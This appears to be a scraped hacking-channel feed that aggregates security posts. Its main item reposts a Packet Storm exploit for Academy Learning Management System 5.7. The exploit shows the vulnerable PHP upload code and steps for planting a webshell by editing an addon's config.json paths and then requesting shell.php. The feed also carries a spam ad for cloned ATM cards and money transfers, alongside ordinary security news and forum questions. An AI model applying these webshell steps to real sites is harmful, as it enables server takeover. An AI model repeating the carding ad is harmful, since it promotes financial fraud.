Exploit Collector
TIBCO JasperReports Server 8.0.2 Community Edition Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Academy Learning Management System 5.7 Shell Upload

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Academy Learning Management System version 5.7 suffers from a remote shell upload vulnerability.

SHA-256 | 8f5ea1ed03e514169afbef198fca84d3a923d2ba76402fc2c21d5c8fce52443a

Download
# Exploit Title: Academy Learning Management System 5.7 Shell Upload
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/academy-course-based-learning-management-system/22703468
# Version: 5.7
# Tested on Ubuntu 18.04

Totally wrong architecture for uploading zip files on install addon

---Vulnerable Source Code ---
$zipped_file_name = $_FILES['addon_zip']['name'];

if (!empty($zipped_file_name)) {
// Create update directory.
$dir = 'uploads/addons';
if (!is_dir($dir))
mkdir($dir, 0777, true);

$path = "uploads/addons/".$zipped_file_name;
if (class_exists('ZipArchive')) {
move_uploaded_file($_FILES['addon_zip']['tmp_name'], $path);
//Unzip uploaded update file and remove zip file.
$zip = new ZipArchive;
$zip->open($path);
$zip->extractTo('uploads/addons');
$zip->close();
unlink($path);
}else{
$this->session->set_flashdata('error_message', get_phrase('your_server_is_unable_to_extract_the_zip_file').'. '.get_phrase('please_enable_the_zip_extension_on_your_server').', '.get_phrase('then_try_again'));
redirect(site_url('admin/addon'), 'refresh');
}

---Exploit------
get request route "/admin/addon/add" at admin panel.

And then for example download "certificate addon" nulled version.

in addons config.json file
add
"""
{
"root_directory" : "uploads/addons/certificate/others/shell.php",
"update_directory" : "uploads/certificates/shell.php"
},
"""

add your webshell to others folder in addon.

click install addon button.

And ta daa !
->get request https://your-url/uploads/certificates/shell.php

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

PentesterAcademy updated??
https://www.reddit.com/r/Pentesting/comments/xde9fw/pentesteracademy_updated/

i saw few videos and the videos look old , are they any good for 2022? submitted by /u/General_Roof9555 (https://www.reddit.com/user/General_Roof9555)
[link] (https://www.reddit.com/r/Pentesting/comments/xde9fw/pentesteracademy_updated/) [comments] (https://www.reddit.com/r/Pentesting/comments/xde9fw/pentesteracademy_updated/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
DO ALL TRANSFERS CASHAPP WESTERN UNION PAYPAL BLANK CLOND ATM CREDIT CARDS

ALBERT’S CASH TEAM SERVICE WORLDWIDE(GET RICH NOW/SOLVE ALL PROBLEM NOW)WHERE ALL YOUR FINANCIAL DREAMS COME THROUGH AND THE END OF ALL…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How i got my first hall of fame.

https://cdn-images-1.medium.com/max/1080/1*pGVaoTlnAGvf3LH4JbXjeg.jpeg
Hello everyone,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Diferentes técnicas de cifrado de archivos utilizadas por bandas de ransomware en 2022 para evadir…

https://cdn-images-1.medium.com/max/1699/0*LsxUDTYchnNMuSNU
Observamos una nueva tendencia en la escena del ransomware: cifrado intermitente o cifrado parcial de los archivos de las víctimas. Este…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Gas Swindlers Are Stealing From BNB Chain Users

https://cdn-images-1.medium.com/max/2600/1*DFD-XSNzebg2P6rbwoPWzA.jpeg
The crypto space is a true wild west of adventure and despair. Fortunes are made and lost in an instant. In the darkest corner of this…

Continue reading on Immunefi »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Name That Toon: Shiver Me Timbers!

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.

Dark Reading: Attacks/Breaches
Opus Security Emerges from Stealth with $10M in Funding for Cloud SecOps and Remediation Processes

Siemplify veterans introduce Cloud Security Orchestration and Remediation platform, backed by high-profile investors including YL Ventures, Tiger Global, and CEOs of CrowdStrike and CyberArk

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Arcserve Independent Global Study Finds Businesses Still Losing Mission-Critical Company Data

.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is consulting good in cybersecurity

Hey all,

I'll soon be graduated and I'm already actively looking for jobs in cybersecurity. My master was centered around software system security and my thesis around arm64 kernel integrity.

I'm not really attracted by consulting but want to be sure that I'm not missing anything. What do you think about consulting in cybersecurity ?

I ideally would like to, just like my master thesis, work on securing OSes. Do you have any suggestion of similar jobs ?

Thanks all :D

submitted by /u/Bwapie
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Do you store your salt with the hashed salted password in 2022

I am working on updating password management for the application I work on. I'm wondering what the best practices are currently, and whether or not mixing something known is safe or not.

submitted by /u/StornZ
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can your hacking server be hacked through listeners

I guys, I hope this is the right place to ask such question.

Anyone knows if there are known security flaws for listeners such as netcat, socat, or the multihandler from metasploit?

Let's say I have a kali server, running listeners 24/7 in order to catch possible new connections and make them persistent.

Is there any known exploits that may actually be used against this server? I mean a listener is a service as much as http, ssh, smb, ...

submitted by /u/Professional-Ad-5714
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video